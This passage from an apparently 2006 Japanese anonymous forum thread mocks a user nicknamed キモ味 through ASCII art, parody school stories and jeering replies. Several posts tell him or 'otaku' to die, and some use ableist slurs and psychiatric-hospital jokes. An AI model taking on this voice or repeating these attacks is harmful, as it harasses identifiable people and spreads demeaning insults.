タマ切り取ってグズの家系を絶ってやる!」
男「俺は究極で最強の…」
悪叉駄「スキンのまま生まれたクソバカか、デブ?それとも努力してこうなったのか?」
男「突撃東北塾ぅ〜」
悪叉駄「死ぬか?私のせいで死ぬつもりか?さっさと死ね!」

どうやら、ハートマン先任軍曹のような怖いおばさんの下で更正に励んでいるようです。
                                                    (糸冬)

59 :名無しかましてよかですか?:2006/09/19(火) 21:04:21 ID:ecdhWN5l
>>55-58
つーか、マジでそういうデムパな主張をする香具師が
いる事自体信じられないのですが・・・・・。

60 :名無しかましてよかですか?:2006/09/19(火) 21:19:52 ID:SyczNzN3
    / ̄ ̄ ̄ ̄\      うぐぅ!言っておくけどボクはイケテル男だよもん。
   (  人____)     多分、ボクに実際に会ったら、君らはボクを
    |ミ/  ー◎-◎-)    キモオタとは思わないだろうね。
   (6     (_ _) )    でも、ボクのの友人はけっこうヲタ入ってる奴ばっかりだし!!
  _| ∴ ノ  3 ノ    ボクはちょっと中性的な美少女っぽいかな。
 (__/\_____ノ     ジャンルはアニメだけど、葉鍵系だけエロゲーもしてる。
 / (   ||      ||     属性は、一般的な「ツンデレ萌え」とは一味違ってて、
[]__| |WALT  ヽ   「理系たん」や「栞たん」とか、独自の属性を貫いてるんだよもん!
|[] |__|______)   まあ、「いまさら葉鍵」「いまさらエヴァ」とかほざく馬鹿が
 \_(__)三三三[□]三)   持ってる属性ではないわけだよもん。
  /(_)\:::::::::::::::::::::::|   リュックにポスター差してアニメイトやゲーマーズ行くと、
 |Sofmap|::::::::/:::::::/    友人に、トレードしようぜって良く言われるしな。
 (_____):::::/::::::/     み、み、ミラクル、みくるんるん♪みたいな感じだよもん。
     (___[]_[]    一般人系とも言うかな?

61 :名無しかましてよかですか?:2006/09/19(火) 21:32:59 ID:G/75A7/u
> 「理系たん」や「栞たん」とか、独自の属性を貫いてるんだよもん!
お姉さんっぽいキャラが好きなわけだが・・・
栞は、病弱キャラだから、萌えとは違う。まあ、理系たんは素直に良いといえる。
しかし、そのAAって・・・ ID:SyczNzN3 にソックリなんだろうねw

62 : ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/09/19(火) 21:40:20 ID:Suanx13/
      ______  
   / ̄/      ̄ヽ         
  //  /. , ─ 、   , ─ 、      
  | | | | i .● )  i..● )ヽ   
  | .|| ||  `ー'(、●^●,)ー'   ヽ 
 |  | ||     iuUuui.     l
 |  | ||    ´|,-v-、| `   /  ブツブツ
  | i ゝヾ   ヽニニノ    /   
 //∧| \___。つ._--     
    /    \
||\ ̄ ̄ ̄ ̄ ̄ ̄ \
||\\.          \     ∧_∧
||. .\\          \   ( ;´Д`) (オイ、またキモイのが独り言言ってるぞ)
     \\          \ /    ヽ.
       \\         / .|   | |
        \∧_∧   (⌒\|__./ ./
          ( ´,_・・`)汚いから見るなって∧_∧
.         _/   ヽ          \  (     ) うわー、また見てるよ、きめえ!


63 :名無しかましてよかですか?:2006/09/20(水) 05:25:33 ID:5ndPFVs4
>>62
肝味顔デカ・・・・・・・・


64 :名無しかましてよかですか?:2006/09/20(水) 09:26:35 ID:vLffnhrn

        /     ,            \  \
       /     !              \  ` ,.
     , ´ ./       !        \:::,   ヾ\\.. |
    /  ./    ., |    \:...   \:::::ヽ ヽ..\ヽ,.!
    ,  / ,/   ,/! |、.::!    \:::::::.. \:::::: ヽヽ\!ヽ_
    l  /  :!ヾ  |_,|ノ:::\::......ヽ-ゝ、___ヽ.、:::: ヾヽ   `ヽ
    l ,/'| :::| ! :| V \| \::::::!  ` 、_ f::\:::ト l::::::::\\\
    レ' l :::iヘ.ゝ、!,     \| ヽ|:::ヽト、l:ヽ:::::::::::::ヽヾ ヽ           ならば、かわいい僕ををお嫁にもらってくれますか?
      ヽ::|/ヽ|  -=・=       -=・=- |::: V':::::::::/>,、_::::::l:: ノ           ブヒブヒ
       V!  ヘ.  `ー'(、●^●,)ー'  ヽ:: ヽ ノ// /ヽ:ノ/
        / /:::,.      ノトェェイヽ`      ,f;ハ:::   \//  V   
         ,   ::i/\     ヽ`ー'ノ     ./ /: l:::  ゞ、,\ │  
       i ,/ :.:::ヘヽ: :.ゝ.、.  。つ.     /  /: : ヽ::::  ヽ`ー' |   
       l/! ::::|、ヽ\: : : :l` ー‐ ´ _.,/: : : :,ハ::::::  \ /
       l! | ::::| \\\: :ヽ_ `   ´ ,/: : : : /// \:::::::,, ヽ
       | ヽ リ!  \\\:\`ニニ /: : : / イ    ゞ、::::ゞ. \
         \|ゝ,_   \ヽ_ヽゝ` ーイ: /_/   /  /:`:ー―'
           j     ` ーr`Yーrr`-、イ        ノヽ:.ノ
           く:ヽ.     / | :ゞィ^trー'/       /: /
            \!       |: ://: | V       /イ
             `      ヽ/: :.レ'         / /

65 :遠征その2:2006/09/20(水) 21:18:19 ID:2MHVMaQJ
2年1組
キーンコーンカーンコーン
肝井「うぐぅ」
生徒(また来てる…何度きても無視無視。次の時間は国崎先生だから、さっさと追い出してくれるよ)
肝井「それでは、今日は「純愛学」の授業をするんだよもん。
みんなはkeyというゲーム会社のゲームをやったことあるぅ?」
みんな完全に無視して、世界史(1組は地歴が世界史のクラス)の準備をしていた。
肝井はむっとしながらも再び説明を始めた。
肝井「鍵こそ現実を越えるものなんだよもん。ボクは鍵ゲーを超現実と呼んでいるけどね。
現実の女はボクに振り向いてくれないけど、鍵ゲーの女の子はボクに振り向いてくれる。
鍵ゲーこそまさに真実なんだよもん。まぁ、陵辱エロゲーなんかやっている
君たちにはわかんないだろうけどね。」
担任がやってきた。生徒は担任がキモ味を追い出すのを期待してwktkしていたが、
担任は露骨にいやそうな顔をしただけで肝井を無視して授業を始めだした。
担任「東ローマ帝国を滅ぼしたオスマン帝国のメフメト2世は…」
肝井「『いまさら葉鍵か!薄いな!』と言って一般人を差別したキモオタは…」
生徒「『葉鍵帝国を滅ぼしたオスマン帝国のキモオタ2世は』あっ、写し間違えた!
くっそ、あのキモヲタ野郎…」
板書をする担任と肝井がぶつかった。担任は肝井を蹴飛ばし、授業を進めた。
肝井「うぐぅ〜、痛いじゃないの逝き人さん。逝き人さんといえども、謝ってよね!」
完全に無視する担任。
肝井「ひどい!!1!一般人を足蹴にしながら謝らないなんて人間じゃない!!1!!
謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ
謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ」
それでも無視を続ける担任。キモ味はしばらく悔しそうな顔をしていたが、何かを思いついた。
キモ味はズボンとパンツを脱ぐと息み始めた。まずい!!ここで脱糞する気だ!!
生徒たちは数人がかりでキモ味を持ち上げると窓から落とした。
生徒「許せ。基地外じみた事をしようとしたお前も悪いんだからな。」
投げ捨てられたキモ味は体育のためにちょうど真下を歩いていたコヴァに当たった…

コヴァ…右腕脱臼および骨折、PTSD
キモ味…怪我なし

66 :名無しかましてよかですか?:2006/09/20(水) 21:30:37 ID:B76U+RGQ
コヴァカワイソスwwwwwwwww

67 :名無しかましてよかですか?:2006/09/20(水) 22:42:53 ID:RCJeNKP+
ところで、このまま天災ニート君が
亜叉駄塾にぶち込まれたまま、
おとなしくしているとは、到底思えないのだが・・・・。



68 :名無しかましてよかですか?:2006/09/21(木) 14:40:10 ID:1JbBxKbQ
            ____
           / ̄     ̄ヽ
          // / , ─ 、  , ─ 、
         | |  i .● ) i..● )
      i!i!i!i'| .|| | `ー'(、●^●,)ー'
   |::|  ;''':' '|   ||   iuUuui.   l 
   |::|  ノ /.|.|  ||  ´|,-v-、|   /
   |::| ||  |  | iゝヾ ヽニニノ /
   |::| ||., \// \_。つ._ /  葉鍵で今日も
   |::| | \  `''"~   ""''    )  シュッ!シュッ!シュッ!
   |::|__.|_.` i           Y  
   |::|―--  `i  人    :  'i ニ二二|:::|
   |::|     |       l|i|! !|il!シュッ  |:::|
-''" ̄~~"" ,-‐‐!      i||!|i|!i|!,,シュッ |:::|
        i, `' i       i'ニ-'" シュッ// ̄~""
       \.i'"' ,、 '''"';  _/  .// _,,..i'"':,
         ヾ_,.i、_   _,;..-'   .//  |\`、: i'、
               ̄     //.  \.\`_',.-i


69 :林間増殖の謎を暴く:2006/09/22(金) 17:23:46 ID:HxkHKlu2
私立海武学園
林間「かんしゃくおこすぅぅぅぅ!111!!!11」
いきなりだが例によって林間が被害妄想からコヴァ・吉田・鳥坂を追いかけている。
そして三人は広大な海武学園の裏庭へ・・・。
コヴァ「うぽぽおおおおお〜〜〜、逃げるですよ〜〜〜」
鳥坂「ゲッ、林間のやつまだ追ってきとる!」
吉田「ホント、しつこいよなあ〜〜〜」
林間「待てー!11!このアンチコヴァ!!!111」
その時だった。
コヴァ「うぽ?池があるですにょ」
目の前に、藪に隠れた小さな池があった。
吉田「よし、林間をこの池にハメて時間を稼ごう!」
鳥坂「・・・吉田ぁ・・・」
とは言いつつも背に腹は代えられず、三人は池の向こう側に隠れた。そして
林間「待てーーーー、アンチコヴァどもーーー!!かんしゃくおこすーーーー!!11」
林間がやってきて

ボチャン

池に落ちた。
吉田「さー、教室に戻ろうか」吉田はすごく爽やかなやり遂げた男の顔だ。
コヴァ「いいんでしゅか?放っておいて」
鳥坂「そうやな、いくら林間でも死んだらいややしな。何か祟りそうだし」
そして鳥坂が振り返ったときだった。
ぱーーーーー
池から光が満ちあふれる。
三人「なんだ一体?」

70 :林間増殖の謎を暴く:2006/09/22(金) 17:24:43 ID:HxkHKlu2
光が消えると、そこに池から上半身を出した若い美人なおねいさんが立っていた。
どことなく、ヨシダキリコに似ていなくもない。
女神「私は、この池の女神です。あなたが落としたのは、この普通の林間ですか?
それとも綺麗な林間ですか」
確かに、彼女の右手にはいつもの見慣れた林間が、左手にはトヨエツ風の男が持たれている。
二人の発言
真・林間「やい、このアンチコヴァめ!よくもオレを池に・・・。ん?でもこのお姉さん
ヴァルキリーたんに似てるグヘヘヘヘヘ」
綺麗な林間「やあ、アンチコヴァ君。ボクと一緒に戦乙女ヴァルキリーをやりながら
愛国活動をとぅげざーしようぜ!」
ゴゴゴゴゴゴゴゴゴゴゴゴ
吉田「綺麗になっても基本的なところ全く変わってねえ・・・」
コヴァ「・・・確か、お話だと正直に答えると綺麗な方をくれるんでしゅよね」
鳥坂「でも、綺麗な方でも所詮林間やで。中味変わってないし。確か嘘つくと両方ともボッシュートや」
ゴクリ、二人の喉が鳴る。
吉田「でも、なんとなくあの女神ウチの上のねえちゃ・・・」
吉田がそう「嫌な予感」に言及しようとしたが、コヴァと鳥坂の発言の方が少し早かった。
二人「はい、綺麗な林間ですや」
次の瞬間
女神「貴方達は嘘をつきましたね」
ほくそ笑む二人、だがコヴァ17歳はそんなに甘くない。
女神「しかし、ここは私に免じて許してあげましょう。なんだかこの男、息づかい荒くて
ヒトの尻をまさぐってえれえ不愉快な人間なのでそりゃあもうそういうヒトでしょうから、
皆さんに差し上げますわ(はぁと」そういうと女神は池の中に戻っていく。
鳥坂「なんやてーーーー」
コヴァ「うぽおおおおおおおお〜〜〜〜〜〜」
吉田「・・・やっぱり、こうなるよね」
真林間「よくもよくもよくもーーーーかんしゃくおこすーーーーー!!1111!!」
綺麗林間「さぁ、ボクと一緒に日本の仏教を勉強し愛国を・・・」池の前に五人が残された。

71 :林間増殖の謎を暴く:2006/09/22(金) 17:25:35 ID:HxkHKlu2
職員室
担任「で、林間が増えたと」
吉田「そうなんです」
林間二人「さあ、宿題に答えてろください吉田君!!!11」
担任「確かにウチの学校の庭園にそんな池があると聞いたことはあるが、そこの女神が
そんな性格だったとはなあ・・・」
コヴァ「で、さっきから吉田君が一方的に二人に絡まれて可哀想ですにょ」
鳥坂「ごめんな吉田〜〜。今度伯父さんの会社からアニメDVD安く持ってくるからー」
林間二人「吉田君は本当にアニメが大好きなダメヲタクだなっ、お兄さんみたく
休日は浜辺でボクのヴァルキリー・・・」
担任「しかし、本当に吉田も災難だな」
吉田「良いですよ慣れてますから」
五人は職員室を出て行った。担任が一人残される。そして担任は真剣な顔でこう呟いた。
担任「あの池に教頭を落とすのは止めておこう・・・」
教頭「国崎君、なんだって?」
担任「あ、いや、べつにいつもいつも教頭先生にはお世話になって・・・」

都立松沢軍団ラボ
真林間「いやあ貴方こそ真の日本男児、しかし私も貴方には知識で負けてませんよ!11!!」
綺麗林間「それよりも貴方も素晴らしい愛国者ではありませんか、仏教論について・・・」
免下がメモを取りながら観察している。
免下「高レベル(自称)コヴァ同士の馴れ合いか。貴重な資料だな」
ヨシダ「んーで、シゲちゃんコレどうしたの?」
ムースポッキーを食べながら聞く姉に、吉田は目を合わせないようにしてこう言う、
吉田「いやーー、学校の新しい先生でねーー」
ヨシダ「ふーん」姉は納得してないようだが、そう言うしかあるまい。
月宮「しっかしこいつら似てへんか。いや、顔とか身なりとかは違うけど身体的スペックや
血液型は同じなんやろ。体質から見たら双子同然やで」
コヴァ「そ、それはでしゅね・・・」

72 :林間増殖の謎を暴く:2006/09/22(金) 17:26:30 ID:HxkHKlu2
月宮「ま、それは良いけど今日はこんな二人がいるから是非試したいことがあってな」
ヨシダ「なになに?また新しい発明?」
月宮「そや、向こうにあるんやけど同時に二人の患者に同じように刺激与えて
反応を比べるマッスィーンを作ったんでな」
林間二人「・・・!!」
身に迫る危機を感じた二人は、馴れ合いを即行止め二人とも別々の方向に逃げ出した。
免下「まずい、他の患者への影響などを考えると院内で暴れるのは止めさせた方が良い!
松沢軍団出動!」
免下がそういうと、部屋の左右から一人づつ松沢軍団が出てきて二人が逃げた方へ走っていく。
免下「身に代えても逃がすなよ!対象は多少ケガさせてもかまわん!」
松沢軍団「ゾッス」
ダダダダダダダダダダダダダ
・・・出て行った後、コヴァがポツリとこぼした。
コヴァ「こうなっていたんでしゅか・・・」

その頃、真・林間と綺麗な林間は松沢軍団から逃れるため左右に分かれてラボ内の廊下を走っていた。
真・林間「オレはしつこい叩きは嫌いだーーーー」
松沢軍団「オマエガナーーー」
綺麗な林間「ボクはイケメンだよ?女の子にもモテるんだよ?」
松沢軍団「ウソツケーーーーー」
ダダダダダダダダダダ

そしてとうとう二人は廊下の突き当たりで
真・林間「わー。どけブサヨクー」
綺麗な林間「ボクは愛国者で優秀な思想家なんだーーーー」
ドッシーーーーン

73 :林間増殖の謎を暴く:2006/09/22(金) 17:27:28 ID:HxkHKlu2
気づくと林間は一人に戻っていた。
どうやら本物と綺麗なのがぶつかって、一人に戻ったらしい。
林間「あ」
松沢軍団A「こっちに一人いるぞー」
松沢軍団B「でももう一人は・・・」
松沢軍団C「そっちはお前らが追いかけろ、オレらはこいつを捕獲するっ」
松沢軍団D「さぁ、ゲームの時間だよ・・・」
林間「ギャーーーーース」

綺麗な林間はその後松沢軍団が目を皿のようにして探しても見つけ出すことが
出来なかった。でも、夜な夜なこんなことが・・・

林間「やあ、貴方は1人一冊君」
1人一冊「そういう貴方は綺麗な林間君」
綺麗な林間「貴方も愛国的ですねー。二個強職君・・・」
林間の住んでいるエイトプリンスの中古住宅では毎晩のように
林間一派の会合が行われ、その様子はネットにも書き込まれているそうな・・・。

74 :名無しかましてよかですか?:2006/09/22(金) 19:10:37 ID:v00xn2CF
大阪に日本橋で、「戦乙女ヴァルキリー」
を餌にした罠を仕掛けると、
推定を捕獲する事が出来る。

という噂は本当ですか?

75 :名無しかましてよかですか?:2006/09/22(金) 19:35:28 ID:GNJ4sp30
>>73
すべての謎は解けた!

76 :名無しかましてよかですか?:2006/09/23(土) 04:11:48 ID:dgK+ra66
     〃/:.:.:/.:.:.:.:.:./ :: /::/.: .:.:.:.:|.:.:.:.:.:.:l: .:.:.:.:.:.:!ヽ|::、l::ヽ :|
    .〃 /.:.:.:/:.:.:.:.:./-、/::/|:.:.:.:.:.:.:li::|:.:.:.:.:|.:.:.:.:.:.:.:.!:.:.:.:.:.:.:. :.|
   〃 !:.:.:.//::l::|::|::::/;X |.:.:.:.:.:.:!.!::|.:.:.:.:.|:.:.:.:.:.、:.:!:.:.:.:.:.:.:.:.:|
    l!  |.:.:.:.l::l :||::|/l:/.!/ ヽ.|: .:. :l.! |::l、::__:_l、:!__::ヽ::|.: .:.:. :.:.:|    
      | .: :|/|::||::l!/==、、 ! .:.:.!l! Xlヾ、: l.!:l、:.:.:.:ト!:.:.:.:.:.:.:.:|    
     |:.:/ |l:.!.!:| '´|:┘; | !.:.:.! !  ===ァミ :.:.:.:|.:.:.:.: :.:.:.:.!    
      、l  !:|:l::‖ |リ .ヽ:|    |:┘::::/'i/:.:.:.!:.:.:__:.l :.:.:.!   キモオタは今すぐ死になさい。
       /:::'イ::ト ` ー'.   ヽ   |,、:::,ノ/ /:!:.:.|/ /:.!:.:.:.:.!    いいわね!
       /:: ::: ::|::.!      r    `ー-'´ ./:.: .!:/  /:.:.l.:.:.:.:|
.    //:::::::::::::::!:\    ┌-、      /:.:.:.:.:/  /、 .:.!:.:.:.:.!
   / ::/:: ::::::::: :::| :.:.`i 、   `  ′ r‐-、/.:.:.: .,イ  .!:::::`丶、:|
    !:: /::::::::_:__ :.!.:.:.:.ト、` i. 、__, -‐`、   `、://  |_ ::::::::::::::丶、
   |:::└ : ´::::::::::::::.!:.:.:.:.!:: l ` , --‐'/: :ヽ   |/   / `、:::::::::::::ヽ
  「 ::: ::::|::::::::::::::::::::l.:.:.:.:|::::|   |::::::./ .:.:.:.:.!  .! ∨  / 丶、::::::.!

77 :名無しかましてよかですか?:2006/09/23(土) 14:12:57 ID:lxwYQS8d
 ,j;;;;;j,. ---一、 `  ―--‐、_ l;;;;;;    葉鍵は全年齢対象版出てるからエロゲーじゃない
 {;;;;;;ゝ -=・=-  -=・=-   !i;;;;;   批判する奴は陵辱エロゲヲタ、謝罪しろqawsedrftgyhujikol!
  ヾ;;;ハ`ー'(、●^●,)ー'  .::!lリ;;r゙  
   `Z;i   ノトェェイヽ    ノ;;;;;;;;>  そんなふうに考えていた時期が
   ,;ぇハ、  ヽ`ー'ノ     ,f゙: Y;;f    俺にもありました
   ~''戈ヽ   。つ     r'´:::. `!

78 :名無しかましてよかですか?:2006/09/23(土) 17:36:23 ID:wjaGlrBf
>>77
今もそう考えてるだろ。

79 :名無しかましてよかですか?:2006/09/23(土) 23:58:58 ID:dgK+ra66
http://idol.bbspink.com/test/read.cgi/hgame/1127917092/

このスレに反論してみろ!!!!!!!!!!!!!!!

80 : ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/09/24(日) 00:26:49 ID:aXb99tLb
                        _,,t-‐‐-、,-‐‐-、
                     三'::::::............... .....::::::`y,.
                     ナ::::::::::::::::::::::::::::::::: :::::::::::::ヾ
              | ̄|   V::::::::::::::::_{{ ({∫∬ノノjヾ:::::{
           | ̄| | ̄|   ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_ t;;:ヌ
           |  | |  |  i {t)テ" -=・=-  -=・=- 介'
           |  | |  | _,rヘ_,j|!'  ー'(、●^●,)ー  |'
           |,.ィ―'''' ̄ /| |       ノトェェイヽ    !
           /;;:::'';;::''::;;:/ { ! 、     ヽ`ー'ノ    ノ\
            /'''::::;r|''':::;;;|  | ! \       _,,./|::;;'''\
        /:;;/ |;;;''::;;|   丶\  `__´。つ   !;;;:'''::iヽ、
          i/   |'::;;;;''|      三 ―''"       !''::;;;;| /ヽ
        /⌒ヽ  |;;''':::;|       \        !;;::''|/  i
         /     \{'';;;::''}          ̄二ニ=    !::;;|   |
        /ヘ     |;;:::::;{            ‐-      !/   |
        /  i     |:::;;;''!             ー       !  / |
     /   l     |;;'';イ       P I K O       }   {、
     〉、      ∧テ{ ヽ  _   _,,,,;;;;;:::-==ニ;;;_   ノ __,イ´
      / \_    //レ!      ̄           ̄ { ̄  |
    /    `ー::v'´/ | i                     i    |
    i       / ̄   | |                     i、  |
    i       /    ||                         ヽ  |








81 :名無しかましてよかですか?:2006/09/24(日) 22:22:47 ID:QbpTpfRv
>>77
この強引なAAワロタwwwwwwwwwwwwwwww

最近キモ味新作AA発表会に・・・・・まあ面白いですけど・・。


82 :名無しかましてよかですか?:2006/09/24(日) 22:25:21 ID:WyGnm2bJ
>>81
ぼくが作ったAAじゃないし、ボクには似てないし・・・
ボクはこんな感じだし!
http://kyotoita.hp.infoseek.co.jp/cgi-bin/cgi/perl/42.png

83 :名無しかましてよかですか?:2006/09/24(日) 22:28:48 ID:+NTFE9+Z

>>80なんてお前の実像だろ?

84 :名無しかましてよかですか?:2006/09/24(日) 22:55:31 ID:ZHtHPEaf
>>82
キモい。24歳の男のお前がこんなわけないだろ。
気持ち悪すぎる。

85 :名無しかましてよかですか?:2006/09/25(月) 08:10:27 ID:S0Q+6uxq
キモ味、絵だけは微妙に上達してるな。代アニでも入学すれば?

86 :名無しかましてよかですか?:2006/09/25(月) 09:15:05 ID:VrIBoYjO

>>82
お前になんか聞いてないって、態々出てこなくていいよ・・・・。
ちなみに81のリンクは間違えで
こちらが正しい↓ >ALL
http://kyotoita.hp.infoseek.co.jp/cgi-bin/cgi/perl/41.png


87 :名無しかましてよかですか?:2006/09/25(月) 19:34:41 ID:RRnjiUzz
>>天災ニート来襲
働いてる人間は働いてない人間より正しい等のゴミみたいな大衆論法で印象操作&イメージ攻撃かww


88 :名無しかましてよかですか?:2006/09/25(月) 19:40:02 ID:A4JAzx+d
天災ニート君へ。
http://cgi.members.interq.or.jp/snake/totugeki/yybbs_2/meigengukowikigironyou3.cgi

>Re: 無題 とつげき東北 - 2006/09/19(Tue) 03:32 No.235(管理者)
中略
>私はネット上では「根暗」とか言われますけれども(笑)、底抜けに明るくて社交性の高い性格であり、
>おかげで友人関係・職場関係等でも常に不自由ない環境が構築できています。

天災ニート君は、人間関係不自由してませんか?

89 :名無しかましてよかですか?:2006/09/25(月) 20:30:50 ID:xQIzgc5D
>>85
ttp://vista.undo.jp/img/vi5918377618.mp3

90 :名無しかましてよかですか?:2006/09/25(月) 22:29:42 ID:LT1rA2lf
       、--‐冖'⌒ ̄ ̄`ー-、
     /⌒`         三ミヽー-ヘ,_
   __,{ ;;,,             ミミ   i ´Z,
   ゝ   ''〃//,,,      ,,..`ミミ、_ノリ}j; f彡    逆に考えるんだ
  _)        〃///, ,;彡'rffッ、ィ彡'ノ从iノ彡    「僕チンを批判する奴は皆、キモヲタだ」と
  >';;,,       ノ丿川j !川|;  :.`7ラ公 '>了    考えるんだ
 _く彡川f゙ノ'ノノ ノ_ノノノイシノ| ∪ '〈八ミ、、;.)
  ヽ.:.:.:.:.:.;=、彡/‐-ニ''_ー<、{_,ノ -一ヾ`~;.;.;)
  く .:.:.:.:.:!ハ.Yイ∪-=・=-,`ヽ}}-=・=-|ィ"~
   ):.:.:.:.:|.Y }: :!  `ー'(、●^●,)ー'  ノノ
    ) :.: ト、リ: :!ヾ:、  ノトェェイヽ∪ イ:}
   { .:.: l {: : }  `  ヽ`ー'ノ   /ノ
      \   \∪ 丶.     ノ!|ヽ`ヽ、
         \   \ヽ `。つ / |l ト、 `'ー-、__
            \  `'ー-、  // /:.:.}       `'ー、_
          `、\   /⌒ヽ  /!:.:.|
          `、 \ /ヽLf___ハ/  {
              ′ / ! ヽ

91 :名無しかましてよかですか?:2006/09/26(火) 03:55:43 ID:dIugBKgx
>>89
勝手に貼るなキモオタ
l:.:.:.:.:.:./:.:.:.:.: l: : : : : : : : :l: : : : : : :li:.: : : : ヽ:.: : : : : i:. : : : : : : :i:. : : : i: : : ; ゝ  
  l:.:.:.:.:./:.:.:.:i:.: :l: : : : : : : : l: : : : : : :l l:.: : : : :li:.:. : : : : l:.: :. : : : : :l:.:i: : : lヘ´
  l:.:i:.:/:.:.:.:.:l:.: : l: : :.: : : : :il: : :. : : : :l l:.:. :. : :.l i:.:. :. : : li:.:.:. : : :.:.:.l:.:l:.: : :l:.:ヽ、
  l:.:l:〈:.:.:.:.:.l:.:.: : l:. .:. : : : l l:. .:.: : : : l .l:.:. :.: : :l i:.:.:.;.-ニl.i:.:.:.:.:, - '´:├‐‐ヘ:.ヘ:丶、
  l:.:l:.:.`丶、l:.:.:.: :l:. :.:. : : l .l:. :.:. : : : l .l:.:. :.:.:.:.:l_l∠≠r-l>、' L:.:.:.:.__l:.:.:. : : ヽヘ. : :`
  l:.:l:.:.:.:.:.:.:.l:.:.:.:.:.l:.:.:.:.:. -l才¨¨ニ=士l':.:.:.,:.- ' 7/::::::::`'l l 〉/:.:. : /`丶、:.:.:.:. : ヾ、:.:
  l:.:ト、:.:.:.:.:.:,`iーゝ-‐┬'7〃¨:::(__)ヽ' ' ´    l::;';__;::ノ l/i:.:.:. :/    `丶、:.:.:. :`:
  l:.:l:.ヘ:.:.ヽ ' l:.:.:. : : : : // l::::::::::::::::l        ゝ-−''  l:.:. : i      ハ:.:.:.:.:.
  l:.:l:.:.:>'´  l:.:.:.:. : : : `トヘ弋:/--ツ-     、      /l:.: :.l     /_...ヽ'ヽ
  」-‐'    l:.:l:.:.: : : : : l   ゝ'´      , --     ノ:.:.:l: : l     ´ '´    `
 i__...... -‐l:.:l:.:.:. : : : :l` 、           , イ:.:.:.:.:.l: :l   /      ,
/       l:.ヘ:.:.:. : : : :l  `i ー- 、......__ , '  /l:.:.:.:.:l:. l   /    , ' ´
         l:.ヘヘ:.: : : : :i  ヘ   \ r '     / i:.:.:.:.:l l  /    /   ,  '
         ヽ:.ヽヽ. : : : :トr ‐`−=-r'7――-、/  i:.:.:.:ヘl  .i__   i  /
、     _..... --‐ヽ:.\ヽ: : :ヽゝ= ' ´' ,´'\`丶、ノ}   ヽ:.:.:.ヘ¨¨丶、  l  l
 ` ー-- ...   /` '´ `ー―'´ `‐'    ヽニ - '    ` ' ´    丶 l  l



92 :サヨンボマスター:2006/09/26(火) 10:29:07 ID:b62XGFfx
>>90
                         世間 は それ を 「妄想」 と よぶのさぁ!!
                   ___,,,,----- 、__
              _____,.. -‐''''´‐‐''´___Z ヽ\`Tー-1
              `ー-.ュ____,    ̄コ-、_i- 、丶 /└!
             -=´、ニ----ァ  (_     `''ー'ヒ「
              -=ュニラ´,rニヽ ,「 .u'''ー-、_ 、 |'
               ̄'ー、_ __」⌒!.V'    ー┬「'´∠!
                  ゙iN゙i ユ;. ゚    ̄   tf
                 ,r.ァx-ー┐  。 .     ' rク
               _/ ! ゙t i ヽ   r___ー─‐イ
          _,,.. -‐'´ /  l  ヽ|   ゚ 、.   ` ̄了
      _,,,. -''´      /   .゙i,   \   `ーァ、....ノ
  ._,r‐''''~`ヽ、      ,'    ',   .ゝ--ァ'''!^!
 /        .ヽ     ''''ー-=- ト、  / ̄`゙i | t'、
..l         ',    ,.-''´   い,/ヽ  .∧ |. ヽ\
.j         ;.    ヽ、     ',   〉‐イ ''|\-'  \
|             ,      \    .゙,  !  ゙! .| oヽ,   \、
|             |      ゙ヽ   ', .j  .! j  ./    ! ヽ
|          j        \  .', ,'   | /  ./    ,' .!
゙!            /           \ .Y    y   /    .,'  |


93 :名無しかましてよかですか?:2006/09/26(火) 19:46:28 ID:oGHfnX/r
レナ「ティキくん、あたし知っているんだよ」
ティキ「なにをだよ」
レナ「ティキくんが引き篭もりでアニオタだってこと」
ティキ「・・・!」
レナ「あたしなら引き篭もりとオタクの脱出方法教えてあげられるよ」
  「だからこの契約書にサインして」
ティキ「なに言ってるんだレナ・・・俺が引き篭もりでオタクのわけないじゃないか!」
レナ「そうやって今まで仲間にも隠し事してきたんだね」
ティキ「俺は引き篭もりじゃないし、オタクじゃない、隠し事なんかしていない」
レナ「嘘だ!」
レナ「どうして、そういう嘘つくかな? かな?」


94 :名無しかましてよかですか?:2006/09/26(火) 19:54:23 ID:1VZ7bVPr

> l:.:.:.:.:.:./:.:.:.:.: l: : : : : : : : :l: : : : : : :li:.: : : : ヽ:.: : : : : i:. : : : : : : :i:. : : : i: : : ; ゝ
>   l:.:.:.:.:./:.:.:.:i:.: :l: : : : : : : : l: : : : : : :l l:.: : : : :li:.:. : : : : l:.: :. : : : : :l:.:i: : : lヘ´
>   l:.:i:.:/:.:.:.:.:l:.: : l: : :.: : : : :il: : :. : : : :l l:.:. :. : :.l i:.:. :. : : li:.:.:. : : :.:.:.l:.:l:.: : :l:.:ヽ、
>   l:.:l:〈:.:.:.:.:.l:.:.: : l:. .:. : : : l l:. .:.: : : : l .l:.:. :.: : :l i:.:.:.;.-ニl.i:.:.:.:.:, - '´:├‐‐ヘ:.ヘ:丶、
>   l:.:l:.:.`丶、l:.:.:.: :l:. :.:. : : l .l:. :.:. : : : l .l:.:. :.:.:.:.:l_l∠≠r-l>、' L:.:.:.:.__l:.:.:. : : ヽヘ. : :`
>   l:.:l:.:.:.:.:.:.:.l:.:.:.:.:.l:.:.:.:.:. -l才   , ─ 、   , ─      l 〉/:.:. : /`丶、:.:.:.:. : ヾ、:.:      ムヒ!
>   l:.:ト、:.:.:.:.:.:,`iーゝ-‐┬'7   i .● )  i..● )     l/i:.:.:. :/    `丶、:.:.:. :`:      カワイイ僕チンを何で叩くの?
>   l:.:l:.ヘ:.:.ヽ ' l:.:.:. : : : : //    ー'(、●^●,)ー       l:.:. : i      ハ:.:.:.:.:.       わかった、ツンデレだから本当の気持ちを隠してボクを
>   l:.:l:.:.:>'´  l:.:.:.:. : : : `ト       iuUuui        /l:.: :.l     /_...ヽ'ヽ       叩いているんだ!
>   」-‐'    l:.:l:.:.: : : : : l        |,-v-、|       ノ:.:.:l: : l     ´ '´    `
